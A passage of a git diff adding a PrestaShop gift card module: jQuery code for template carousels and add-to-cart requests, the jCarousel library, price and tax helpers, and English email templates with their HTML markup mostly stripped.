jcarouselid = 'jcarouselcardtemplates-tag'+tag_id; + } + initJCarousel(jcarouselid); + + }); + $('.link_template').bind('click touchstart', function(){ + var link_rel = $(this).attr('rel'); + var template_id = link_rel.replace("link_template",""); + $('#id_gift_card_template').val(template_id); + $('.template_item').removeClass('selected'); + $('.template_item'+template_id).addClass('selected'); + }); + + $("input[name='receptmode']").change(function() { + if ($("input[name='receptmode']:checked").val() == '1') + $(".datesendcard").show(400); + else + $(".datesendcard").hide(400); + }); + + var prevflag = false; + $('#choicegiftcard .preview_form').bind('touchstart click',function(e){ + e.preventDefault(); + if(!prevflag){ + prevflag=true; + setTimeout(function(){prevflag = false},100); + //$('#choicegiftcard .ui-loader-background').show(); + $("#formgiftcard input[name='action']").val('preview'); + $("#formgiftcard").submit(); + /* view mail preview ajax + $.ajax({ + type: 'POST', + url: linkcgc_controller, + async: true, + cache: false, + dataType: 'html', + data: "ajax=1"+ + "&"+$('#formgiftcard').serialize() + + "&rand=" + new Date().getTime(), + success: function(data) + { + $('#choicegiftcard .ui-loader-background').hide(200); + $.fancybox({ + autoDimensions: false, + 'maxWidth' : mailpreview_maxwidth, + content: data, + }); + }, + error:function() + { + $('#choicegiftcard .ui-loader-background').hide(200); + }}); + } + } + return false; + }); + + var subflag = false; + $('#choicegiftcard .submit_form').bind('click touchstart',function() + { + if(!subflag){ + subflag=true; + + setTimeout(function(){subflag = false},100); + + $("#formgiftcard input[name='action']").val('addgiftcard'); + $('#choicegiftcard .ui-loader-background').show(); + $.ajax({ + type: 'POST', + url: linkcgc_controller, + async: true, + cache: false, + dataType: 'json', + data: "ajax=1"+ + "&"+$('#formgiftcard').serialize() + + "&rand=" + new Date().getTime(), + success: function(data) + { + $('#choicegiftcard .ui-loader-background').hide(200); + if (!data.hasError) + { + $('#choicegiftcard .messages').find('.error').fadeOut(function(){ + $(this).remove(); + }); + // display a confirmation message + $('#choicegiftcard .messages').html(''); + $('#choicegiftcard .messages').prepend("

        "+data.message+"

        "); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + alert("TECHNICAL ERROR: \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + } + else + { + $('#choicegiftcard .messages').find('.success').fadeOut(function(){ + $(this).remove(); + }); + // display an error message + $('#choicegiftcard .messages').html(''); + $('#choicegiftcard .messages').prepend("

        "); + for (var i = 0; i < data.errors.length; i++) + $('#choicegiftcard .error').html($('#choicegiftcard .error').html()+data.errors[i]+"
        "); + + } + }, + error:function() + { + $('#choicegiftcard .ui-loader-background').hide(200); + } + }); + } + }); +}); + +function countChar(val) { + var len = val.value.length; + if (len >= 200) { + val.value = val.value.substring(0, 200); + } else { + $('#charNum').text(200 - len); + } +}; +function initJCarousel(idcarousel) +{ + /*count total of template giftcard element*/ + var nbitems = $( '#'+idcarousel + ' .jcarousel ul > li' ).size(); + var showprevnext = false; + var jcarousel = $('#'+idcarousel + ' .jcarousel'); + jcarousel + .on('jcarousel:reload jcarousel:create', function () { + var width = jcarousel.innerWidth(); + itemscarouselsort = itemscarousel.sort(); + for (var key in itemscarouselsort){ + if(width >= itemscarouselsort[key].width) + { + width = width / itemscarouselsort[key].nb; + break; + } + } + + /**/ + if(nbitems * width > jcarousel.innerWidth()) + { + showprevnext = true; + } + if(!showprevnext) + { + $('#'+idcarousel + ' .jcarousel-control-prev').hide(); + $('#'+idcarousel + ' .jcarousel-control-next').hide(); + $('#'+idcarousel + ' .jcarousel-pagination').hide(); + } + else + { + $('#'+idcarousel + ' .jcarousel-control-prev').show(); + $('#'+idcarousel + ' .jcarousel-control-next').show(); + $('#'+idcarousel + ' .jcarousel-pagination').show(); + } + jcarousel.jcarousel('items').css('width', width + 'px'); + + }) + .jcarousel({ + wrap: 'circular' + }); + + $('#'+idcarousel + ' .jcarousel-control-prev') + .jcarouselControl({ + target: '-=1' + }); + + $('#'+idcarousel + ' .jcarousel-control-next') + .jcarouselControl({ + target: '+=1' + }); + + $('#'+idcarousel + ' .jcarousel-pagination') + .on('jcarouselpagination:active', 'a', function() { + $(this).addClass('active'); + }) + .on('jcarouselpagination:inactive', 'a', function() { + $(this).removeClass('active'); + }) + .on('click touchstart', function(e) { + e.preventDefault(); + }) + .jcarouselPagination({ + perPage: 1, + item: function(page) { + return '' + page + ''; + } + }); +} + diff --git a/modules/giftcard/js/giftcardorder.js b/modules/giftcard/js/giftcardorder.js new file mode 100755 index 0000000..a70e4c8 --- /dev/null +++ b/modules/giftcard/js/giftcardorder.js @@ -0,0 +1,65 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +function show_custom(token,id_gift_card_order) +{ + var current_element = $('#viewgifcardcustom_'+id_gift_card_order); + var ajax_params = { + 'id_gift_card_order':id_gift_card_order, + 'controller': 'AdminGiftCardOrder', + 'token': token, + 'action': 'show_custom', + 'ajax': true + }; + if(current_element.hasClass("open")) + { + $('#viewgifcardcustomdetail_'+id_gift_card_order).hide(200); + current_element.removeClass('open'); + current_element.closest('td').removeClass('viewgifcardcustomopen'); + + } + else + { + $.ajax({ + url: 'index.php', + data: ajax_params, + dataType: 'html', + cache: false, + async: false, + success: function(data) { + current_element.closest('tr').after(data); + current_element.closest('td').addClass('viewgifcardcustomopen'); + current_element.addClass("open"); + } + }); + } + /* + if (current_element.data('opened')) + { + current_element.find('img').attr('src', '../img/admin/more.png'); + current_element.parent().parent().parent().find('.details_'+id).hide('fast'); + current_element.data('opened', false); + } + else + { + current_element.find('img').attr('src', '../img/admin/less.png'); + current_element.parent().parent().parent().find('.details_'+id).show('fast'); + current_element.data('opened', true); + }*/ + +} \ No newline at end of file diff --git a/modules/giftcard/js/index.php b/modules/giftcard/js/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/js/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/js/jquery.jcarousel.min.js b/modules/giftcard/js/jquery.jcarousel.min.js new file mode 100755 index 0000000..515f9a3 --- /dev/null +++ b/modules/giftcard/js/jquery.jcarousel.min.js @@ -0,0 +1,4 @@ +/*! jCarousel - v0.3.0 - 2013-11-22 +* http://sorgalla.com/jcarousel +* Copyright (c) 2013 Jan Sorgalla; Licensed MIT */ +(function(t){"use strict";var i=t.jCarousel={};i.version="0.3.0";var s=/^([+\-]=)?(.+)$/;i.parseTarget=function(t){var i=!1,e="object"!=typeof t?s.exec(t):null;return e?(t=parseInt(e[2],10)||0,e[1]&&(i=!0,"-="===e[1]&&(t*=-1))):"object"!=typeof t&&(t=parseInt(t,10)||0),{target:t,relative:i}},i.detectCarousel=function(t){for(var i;t.length>0;){if(i=t.filter("[data-jcarousel]"),i.length>0)return i;if(i=t.find("[data-jcarousel]"),i.length>0)return i;t=t.parent()}return null},i.base=function(s){return{version:i.version,_options:{},_element:null,_carousel:null,_init:t.noop,_create:t.noop,_destroy:t.noop,_reload:t.noop,create:function(){return this._element.attr("data-"+s.toLowerCase(),!0).data(s,this),!1===this._trigger("create")?this:(this._create(),this._trigger("createend"),this)},destroy:function(){return!1===this._trigger("destroy")?this:(this._destroy(),this._trigger("destroyend"),this._element.removeData(s).removeAttr("data-"+s.toLowerCase()),this)},reload:function(t){return!1===this._trigger("reload")?this:(t&&this.options(t),this._reload(),this._trigger("reloadend"),this)},element:function(){return this._element},options:function(i,s){if(0===arguments.length)return t.extend({},this._options);if("string"==typeof i){if(s===void 0)return this._options[i]===void 0?null:this._options[i];this._options[i]=s}else this._options=t.extend({},this._options,i);return this},carousel:function(){return this._carousel||(this._carousel=i.detectCarousel(this.options("carousel")||this._element),this._carousel||t.error('Could not detect carousel for plugin "'+s+'"')),this._carousel},_trigger:function(i,e,r){var n,o=!1;return r=[this].concat(r||[]),(e||this._element).each(function(){n=t.Event((s+":"+i).toLowerCase()),t(this).trigger(n,r),n.isDefaultPrevented()&&(o=!0)}),!o}}},i.plugin=function(s,e){var r=t[s]=function(i,s){this._element=t(i),this.options(s),this._init(),this.create()};return r.fn=r.prototype=t.extend({},i.base(s),e),t.fn[s]=function(i){var e=Array.prototype.slice.call(arguments,1),n=this;return"string"==typeof i?this.each(function(){var r=t(this).data(s);if(!r)return t.error("Cannot call methods on "+s+" prior to initialization; "+'attempted to call method "'+i+'"');if(!t.isFunction(r[i])||"_"===i.charAt(0))return t.error('No such method "'+i+'" for '+s+" instance");var o=r[i].apply(r,e);return o!==r&&o!==void 0?(n=o,!1):void 0}):this.each(function(){var e=t(this).data(s);e instanceof r?e.reload(i):new r(this,i)}),n},r}})(jQuery),function(t,i){"use strict";var s=function(t){return parseFloat(t)||0};t.jCarousel.plugin("jcarousel",{animating:!1,tail:0,inTail:!1,resizeTimer:null,lt:null,vertical:!1,rtl:!1,circular:!1,underflow:!1,relative:!1,_options:{list:function(){return this.element().children().eq(0)},items:function(){return this.list().children()},animation:400,transitions:!1,wrap:null,vertical:null,rtl:null,center:!1},_list:null,_items:null,_target:null,_first:null,_last:null,_visible:null,_fullyvisible:null,_init:function(){var t=this;return this.onWindowResize=function(){t.resizeTimer&&clearTimeout(t.resizeTimer),t.resizeTimer=setTimeout(function(){t.reload()},100)},this},_create:function(){this._reload(),t(i).on("resize.jcarousel",this.onWindowResize)},_destroy:function(){t(i).off("resize.jcarousel",this.onWindowResize)},_reload:function(){this.vertical=this.options("vertical"),null==this.vertical&&(this.vertical=this.list().height()>this.list().width()),this.rtl=this.options("rtl"),null==this.rtl&&(this.rtl=function(i){if("rtl"===(""+i.attr("dir")).toLowerCase())return!0;var s=!1;return i.parents("[dir]").each(function(){return/rtl/i.test(t(this).attr("dir"))?(s=!0,!1):void 0}),s}(this._element)),this.lt=this.vertical?"top":"left",this.relative="relative"===this.list().css("position"),this._list=null,this._items=null;var i=this._target&&this.index(this._target)>=0?this._target:this.closest();this.circular="circular"===this.options("wrap"),this.underflow=!1;var s={left:0,top:0};return i.length>0&&(this._prepare(i),this.list().find("[data-jcarousel-clone]").remove(),this._items=null,this.underflow=this._fullyvisible.length>=this.items().length,this.circular=this.circular&&!this.underflow,s[this.lt]=this._position(i)+"px"),this.move(s),this},list:function(){if(null===this._list){var i=this.options("list");this._list=t.isFunction(i)?i.call(this):this._element.find(i)}return this._list},items:function(){if(null===this._items){var i=this.options("items");this._items=(t.isFunction(i)?i.call(this):this.list().find(i)).not("[data-jcarousel-clone]")}return this._items},index:function(t){return this.items().index(t)},closest:function(){var i,e=this,r=this.list().position()[this.lt],n=t(),o=!1,l=this.vertical?"bottom":this.rtl&&!this.relative?"left":"right";return this.rtl&&this.relative&&!this.vertical&&(r+=this.list().width()-this.clipping()),this.items().each(function(){if(n=t(this),o)return!1;var a=e.dimension(n);if(r+=a,r>=0){if(i=a-s(n.css("margin-"+l)),!(0>=Math.abs(r)-a+i/2))return!1;o=!0}}),n},target:function(){return this._target},first:function(){return this._first},last:function(){return this._last},visible:function(){return this._visible},fullyvisible:function(){return this._fullyvisible},hasNext:function(){if(!1===this._trigger("hasnext"))return!0;var t=this.options("wrap"),i=this.items().length-1;return i>=0&&(t&&"first"!==t||i>this.index(this._last)||this.tail&&!this.inTail)?!0:!1},hasPrev:function(){if(!1===this._trigger("hasprev"))return!0;var t=this.options("wrap");return this.items().length>0&&(t&&"last"!==t||this.index(this._first)>0||this.tail&&this.inTail)?!0:!1},clipping:function(){return this._element["inner"+(this.vertical?"Height":"Width")]()},dimension:function(t){return t["outer"+(this.vertical?"Height":"Width")](!0)},scroll:function(i,s,e){if(this.animating)return this;if(!1===this._trigger("scroll",null,[i,s]))return this;t.isFunction(s)&&(e=s,s=!0);var r=t.jCarousel.parseTarget(i);if(r.relative){var n,o,l,a,h,u,c,f,d=this.items().length-1,_=Math.abs(r.target),p=this.options("wrap");if(r.target>0){var v=this.index(this._last);if(v>=d&&this.tail)this.inTail?"both"===p||"last"===p?this._scroll(0,s,e):t.isFunction(e)&&e.call(this,!1):this._scrollTail(s,e);else if(n=this.index(this._target),this.underflow&&n===d&&("circular"===p||"both"===p||"last"===p)||!this.underflow&&v===d&&("both"===p||"last"===p))this._scroll(0,s,e);else if(l=n+_,this.circular&&l>d){for(f=d,h=this.items().get(-1);l>f++;)h=this.items().eq(0),u=this._visible.index(h)>=0,u&&h.after(h.clone(!0).attr("data-jcarousel-clone",!0)),this.list().append(h),u||(c={},c[this.lt]=this.dimension(h),this.moveBy(c)),this._items=null;this._scroll(h,s,e)}else this._scroll(Math.min(l,d),s,e)}else if(this.inTail)this._scroll(Math.max(this.index(this._first)-_+1,0),s,e);else if(o=this.index(this._first),n=this.index(this._target),a=this.underflow?n:o,l=a-_,0>=a&&(this.underflow&&"circular"===p||"both"===p||"first"===p))this._scroll(d,s,e);else if(this.circular&&0>l){for(f=l,h=this.items().get(0);0>f++;){h=this.items().eq(-1),u=this._visible.index(h)>=0,u&&h.after(h.clone(!0).attr("data-jcarousel-clone",!0)),this.list().prepend(h),this._items=null;var g=this.dimension(h);c={},c[this.lt]=-g,this.moveBy(c)}this._scroll(h,s,e)}else this._scroll(Math.max(l,0),s,e)}else this._scroll(r.target,s,e);return this._trigger("scrollend"),this},moveBy:function(t,i){var e=this.list().position(),r=1,n=0;return this.rtl&&!this.vertical&&(r=-1,this.relative&&(n=this.list().width()-this.clipping())),t.left&&(t.left=e.left+n+s(t.left)*r+"px"),t.top&&(t.top=e.top+n+s(t.top)*r+"px"),this.move(t,i)},move:function(i,s){s=s||{};var e=this.options("transitions"),r=!!e,n=!!e.transforms,o=!!e.transforms3d,l=s.duration||0,a=this.list();if(!r&&l>0)return a.animate(i,s),void 0;var h=s.complete||t.noop,u={};if(r){var c=a.css(["transitionDuration","transitionTimingFunction","transitionProperty"]),f=h;h=function(){t(this).css(c),f.call(this)},u={transitionDuration:(l>0?l/1e3:0)+"s",transitionTimingFunction:e.easing||s.easing,transitionProperty:l>0?function(){return n||o?"all":i.left?"left":"top"}():"none",transform:"none"}}o?u.transform="translate3d("+(i.left||0)+","+(i.top||0)+",0)":n?u.transform="translate("+(i.left||0)+","+(i.top||0)+")":t.extend(u,i),r&&l>0&&a.one("transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd",h),a.css(u),0>=l&&a.each(function(){h.call(this)})},_scroll:function(i,s,e){if(this.animating)return t.isFunction(e)&&e.call(this,!1),this;if("object"!=typeof i?i=this.items().eq(i):i.jquery===void 0&&(i=t(i)),0===i.length)return t.isFunction(e)&&e.call(this,!1),this;this.inTail=!1,this._prepare(i);var r=this._position(i),n=this.list().position()[this.lt];if(r===n)return t.isFunction(e)&&e.call(this,!1),this;var o={};return o[this.lt]=r+"px",this._animate(o,s,e),this},_scrollTail:function(i,s){if(this.animating||!this.tail)return t.isFunction(s)&&s.call(this,!1),this;var e=this.list().position()[this.lt];this.rtl&&this.relative&&!this.vertical&&(e+=this.list().width()-this.clipping()),this.rtl&&!this.vertical?e+=this.tail:e-=this.tail,this.inTail=!0;var r={};return r[this.lt]=e+"px",this._update({target:this._target.next(),fullyvisible:this._fullyvisible.slice(1).add(this._visible.last())}),this._animate(r,i,s),this},_animate:function(i,s,e){if(e=e||t.noop,!1===this._trigger("animate"))return e.call(this,!1),this;this.animating=!0;var r=this.options("animation"),n=t.proxy(function(){this.animating=!1;var t=this.list().find("[data-jcarousel-clone]");t.length>0&&(t.remove(),this._reload()),this._trigger("animateend"),e.call(this,!0)},this),o="object"==typeof r?t.extend({},r):{duration:r},l=o.complete||t.noop;return s===!1?o.duration=0:t.fx.speeds[o.duration]!==void 0&&(o.duration=t.fx.speeds[o.duration]),o.complete=function(){n(),l.call(this)},this.move(i,o),this},_prepare:function(i){var e,r,n,o,l=this.index(i),a=l,h=this.dimension(i),u=this.clipping(),c=this.vertical?"bottom":this.rtl?"left":"right",f=this.options("center"),d={target:i,first:i,last:i,visible:i,fullyvisible:u>=h?i:t()};if(f&&(h/=2,u/=2),u>h)for(;;){if(e=this.items().eq(++a),0===e.length){if(!this.circular)break;if(e=this.items().eq(0),i.get(0)===e.get(0))break;if(r=this._visible.index(e)>=0,r&&e.after(e.clone(!0).attr("data-jcarousel-clone",!0)),this.list().append(e),!r){var _={};_[this.lt]=this.dimension(e),this.moveBy(_)}this._items=null}if(o=this.dimension(e),0===o)break;if(h+=o,d.last=e,d.visible=d.visible.add(e),n=s(e.css("margin-"+c)),u>=h-n&&(d.fullyvisible=d.fullyvisible.add(e)),h>=u)break}if(!this.circular&&!f&&u>h)for(a=l;;){if(0>--a)break;if(e=this.items().eq(a),0===e.length)break;if(o=this.dimension(e),0===o)break;if(h+=o,d.first=e,d.visible=d.visible.add(e),n=s(e.css("margin-"+c)),u>=h-n&&(d.fullyvisible=d.fullyvisible.add(e)),h>=u)break}return this._update(d),this.tail=0,f||"circular"===this.options("wrap")||"custom"===this.options("wrap")||this.index(d.last)!==this.items().length-1||(h-=s(d.last.css("margin-"+c)),h>u&&(this.tail=h-u)),this},_position:function(t){var i=this._first,s=i.position()[this.lt],e=this.options("center"),r=e?this.clipping()/2-this.dimension(i)/2:0;return this.rtl&&!this.vertical?(s-=this.relative?this.list().width()-this.dimension(i):this.clipping()-this.dimension(i),s+=r):s-=r,!e&&(this.index(t)>this.index(i)||this.inTail)&&this.tail?(s=this.rtl&&!this.vertical?s-this.tail:s+this.tail,this.inTail=!0):this.inTail=!1,-s},_update:function(i){var s,e=this,r={target:this._target||t(),first:this._first||t(),last:this._last||t(),visible:this._visible||t(),fullyvisible:this._fullyvisible||t()},n=this.index(i.first||r.first)r[s].index(this)&&o.push(this)}),r[s].each(function(){0>i[s].index(this)&&l.push(this)}),n?o=o.reverse():l=l.reverse(),e._trigger(s+"in",t(o)),e._trigger(s+"out",t(l)),e["_"+s]=i[s]};for(s in i)o(s);return this}})}(jQuery,window),function(t){"use strict";t.jcarousel.fn.scrollIntoView=function(i,s,e){var r,n=t.jCarousel.parseTarget(i),o=this.index(this._fullyvisible.first()),l=this.index(this._fullyvisible.last());if(r=n.relative?0>n.target?Math.max(0,o+n.target):l+n.target:"object"!=typeof n.target?n.target:this.index(n.target),o>r)return this.scroll(r,s,e);if(r>=o&&l>=r)return t.isFunction(e)&&e.call(this,!1),this;for(var a,h=this.items(),u=this.clipping(),c=this.vertical?"bottom":this.rtl?"left":"right",f=0;;){if(a=h.eq(r),0===a.length)break;if(f+=this.dimension(a),f>=u){var d=parseFloat(a.css("margin-"+c))||0;f-d!==u&&r++;break}if(0>=r)break;r--}return this.scroll(r,s,e)}}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselControl",{_options:{target:"+=1",event:"click",method:"scroll"},_active:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onReload=t.proxy(this._reload,this),this.onEvent=t.proxy(function(i){i.preventDefault();var s=this.options("method");t.isFunction(s)?s.call(this):this.carousel().jcarousel(this.options("method"),this.options("target"))},this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy).on("jcarousel:reloadend jcarousel:scrollend",this.onReload),this._element.on(this.options("event")+".jcarouselcontrol",this.onEvent),this._reload()},_destroy:function(){this._element.off(".jcarouselcontrol",this.onEvent),this.carousel().off("jcarousel:destroy",this.onDestroy).off("jcarousel:reloadend jcarousel:scrollend",this.onReload)},_reload:function(){var i,s=t.jCarousel.parseTarget(this.options("target")),e=this.carousel();if(s.relative)i=e.jcarousel(s.target>0?"hasNext":"hasPrev");else{var r="object"!=typeof s.target?e.jcarousel("items").eq(s.target):s.target;i=e.jcarousel("target").index(r)>=0}return this._active!==i&&(this._trigger(i?"active":"inactive"),this._active=i),this}})}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselPagination",{_options:{perPage:null,item:function(t){return''+t+""},event:"click",method:"scroll"},_pages:{},_items:{},_currentPage:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onReload=t.proxy(this._reload,this),this.onScroll=t.proxy(this._update,this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy).on("jcarousel:reloadend",this.onReload).on("jcarousel:scrollend",this.onScroll),this._reload()},_destroy:function(){this._clear(),this.carousel().off("jcarousel:destroy",this.onDestroy).off("jcarousel:reloadend",this.onReload).off("jcarousel:scrollend",this.onScroll)},_reload:function(){var i=this.options("perPage");if(this._pages={},this._items={},t.isFunction(i)&&(i=i.call(this)),null==i)this._pages=this._calculatePages();else for(var s,e=parseInt(i,10)||0,r=this.carousel().jcarousel("items"),n=1,o=0;;){if(s=r.eq(o++),0===s.length)break;this._pages[n]=this._pages[n]?this._pages[n].add(s):s,0===o%e&&n++}this._clear();var l=this,a=this.carousel().data("jcarousel"),h=this._element,u=this.options("item");t.each(this._pages,function(i,s){var e=l._items[i]=t(u.call(l,i,s));e.on(l.options("event")+".jcarouselpagination",t.proxy(function(){var t=s.eq(0);if(a.circular){var e=a.index(a.target()),r=a.index(t);parseFloat(i)>parseFloat(l._currentPage)?e>r&&(t="+="+(a.items().length-e+r)):r>e&&(t="-="+(e+(a.items().length-r)))}a[this.options("method")](t)},l)),h.append(e)}),this._update()},_update:function(){var i,s=this.carousel().jcarousel("target");t.each(this._pages,function(t,e){return e.each(function(){return s.is(this)?(i=t,!1):void 0}),i?!1:void 0}),this._currentPage!==i&&(this._trigger("inactive",this._items[this._currentPage]),this._trigger("active",this._items[i])),this._currentPage=i},items:function(){return this._items},_clear:function(){this._element.empty(),this._currentPage=null},_calculatePages:function(){for(var t,i=this.carousel().data("jcarousel"),s=i.items(),e=i.clipping(),r=0,n=0,o=1,l={};;){if(t=s.eq(n++),0===t.length)break;l[o]=l[o]?l[o].add(t):t,r+=i.dimension(t),r>=e&&(o++,r=0)}return l}})}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselAutoscroll",{_options:{target:"+=1",interval:3e3,autostart:!0},_timer:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onAnimateEnd=t.proxy(this.start,this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy),this.options("autostart")&&this.start()},_destroy:function(){this.stop(),this.carousel().off("jcarousel:destroy",this.onDestroy)},start:function(){return this.stop(),this.carousel().one("jcarousel:animateend",this.onAnimateEnd),this._timer=setTimeout(t.proxy(function(){this.carousel().jcarousel("scroll",this.options("target"))},this),this.options("interval")),this},stop:function(){return this._timer&&(this._timer=clearTimeout(this._timer)),this.carousel().off("jcarousel:animateend",this.onAnimateEnd),this}})}(jQuery); \ No newline at end of file diff --git a/modules/giftcard/js/price.js b/modules/giftcard/js/price.js new file mode 100755 index 0000000..1fd593f --- /dev/null +++ b/modules/giftcard/js/price.js @@ -0,0 +1,119 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +function getTax() +{ + if (noTax) + return 0; + var selectedTax = document.getElementById('id_tax_rules_group'); + var taxId = selectedTax.options[selectedTax.selectedIndex].value; + return taxesArray[taxId]; +} + +function getEcotaxTaxIncluded() +{ + return ps_round(ecotax_tax_excl * (1 + ecotaxTaxRate), 2); +} + +function getEcotaxTaxExcluded() +{ + return ecotax_tax_excl; +} + +function formatPrice(price) +{ + var fixedToSix = (Math.round(price * 1000000) / 1000000); + return (Math.round(fixedToSix) == fixedToSix + 0.000001 ? fixedToSix + 0.000001 : fixedToSix); +} + +function calcPrice() +{ + var priceType = $('#priceType').val(); + if (priceType == 'TE') + calcPriceTI(); + else + calcPriceTE(); +} + +function calcPriceTI() +{ + var tax = getTax(); + var priceTE = parseFloat(document.getElementById('price').value.replace(/,/g, '.')); + var newPrice = priceTE * ((tax / 100) + 1); + document.getElementById('priceTI').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2).toFixed(2); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(priceTE) == true || priceTE < 0) ? '' : + (ps_round(priceTE, 2) + getEcotaxTaxExcluded()).toFixed(2); + calcReduction(); + $('#priceTI').val((parseFloat($('#priceTI').val()) + getEcotaxTaxIncluded()).toFixed(2)); + $('#finalPrice').html(parseFloat($('#priceTI').val()).toFixed(2)); +} + +function calcPriceTE() +{ + ecotax_tax_excl = $('#ecotax').val() / (1 + ecotaxTaxRate); + var tax = getTax(); + var priceTI = parseFloat(document.getElementById('priceTI').value.replace(/,/g, '.')); + var newPrice = ps_round(priceTI - getEcotaxTaxIncluded(), 2) / ((tax / 100) + 1); + document.getElementById('priceTE').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6); + document.getElementById('price').value = (isNaN(newPrice) == true || newPrice < 0) ? 0 : ps_round(newPrice, 9); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(priceTI.toFixed(6), 6); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6) + getEcotaxTaxExcluded(); + calcReduction(); +} + + + +function decimalTruncate(source, decimals) +{ + if (typeof(decimals) == 'undefined') + decimals = 6; + source = source.toString(); + var pos = source.indexOf('.'); + return parseFloat(source.substr(0, pos + decimals + 1)); +} + +function unitPriceWithTax(type) +{ + var tax = getTax(); + var priceWithTax = parseFloat(document.getElementById(type+'_price').value.replace(/,/g, '.')); + var newPrice = priceWithTax * ((tax / 100) + 1); + $('#'+type+'_price_with_tax').html((isNaN(newPrice) == true || newPrice < 0) ? '0.00' : ps_round(newPrice, 2).toFixed(2)); +} + + +function changeCurrencySpecificPrice(index) +{ + var id_currency = $('#spm_currency_' + index).val(); + if (currencies[id_currency]["format"] == 2 || currencies[id_currency]["format"] == 4) + { + $('#spm_currency_sign_pre_' + index).html(''); + $('#spm_currency_sign_post_' + index).html(' ' + currencies[id_currency]["sign"]); + } + else if (currencies[id_currency]["format"] == 1 || currencies[id_currency]["format"] == 3) + { + $('#spm_currency_sign_post_' + index).html(''); + $('#spm_currency_sign_pre_' + index).html(currencies[id_currency]["sign"] + ' '); + } +} + diff --git a/modules/giftcard/logo.gif b/modules/giftcard/logo.gif new file mode 100755 index 0000000..98a9571 Binary files /dev/null and b/modules/giftcard/logo.gif differ diff --git a/modules/giftcard/logo.png b/modules/giftcard/logo.png new file mode 100755 index 0000000..0627893 Binary files /dev/null and b/modules/giftcard/logo.png differ diff --git a/modules/giftcard/mails/en/giftcardprintathome.html b/modules/giftcard/mails/en/giftcardprintathome.html new file mode 100755 index 0000000..86694e4 --- /dev/null +++ b/modules/giftcard/mails/en/giftcardprintathome.html @@ -0,0 +1,142 @@ + + + + + + Gift Card {shop_name} + + + + + + +
        + + + + + + +
          + + + + + + + + + + + + + + + + + + + + +
        + + Hi {firstname} {lastname}, + +
        + + + + + + + + + + + + + + + + + + + + + + + + + + +
          + +

        + We are pleased to send you this gift card {giftcard_price}.

        +
        +
         
          + Carte cadeau +  
          + To use:
        + Copy and paste this code {giftcard_code} in your cart on your next purchase before paying your order. + +
         
          + You will find attached to this email a summary PDF file that you can print and offer. +  
          + Happy shopping! +  
        +
        +
         
        +
        + + \ No newline at end of file diff --git a/modules/giftcard/mails/en/giftcardprintathome.txt b/modules/giftcard/mails/en/giftcardprintathome.txt new file mode 100755 index 0000000..75c5927 --- /dev/null +++ b/modules/giftcard/mails/en/giftcardprintathome.txt @@ -0,0 +1,6 @@ +Hi {firstname} {lastname}, +We are pleased to send you this gift card {giftcard_price}. +To use: +Copy and paste this code {giftcard_code} in your cart on your next purchase before paying your order. + +Happy shopping! diff --git a/modules/giftcard/mails/en/giftcardsend_notifcustomer.html b/modules/giftcard/mails/en/giftcardsend_notifcustomer.html new file mode 100755 index 0000000..0819cc9 --- /dev/null +++ b/modules/giftcard/mails/en/giftcardsend_notifcustomer.html @@ -0,0 +1,135 @@ + + + + + + Gift Card {shop_name} + + + + + + +
        + + + + + + +
          + + + + + + + + + + + + + + + + + + + + +
        + + Hi {firstname} {lastname}, + +
        + + + + + + + + + + + + + + + + + + + + + + +
          + +

        + Your gift card in the amount of {giftcard_price} was sent today to the email address {giftcard_to_mail}, with your personalized message +

        +
        +
         
          + Gift Card +  
          + You will find attached to this email a summary PDF file that you can print and offer. +  
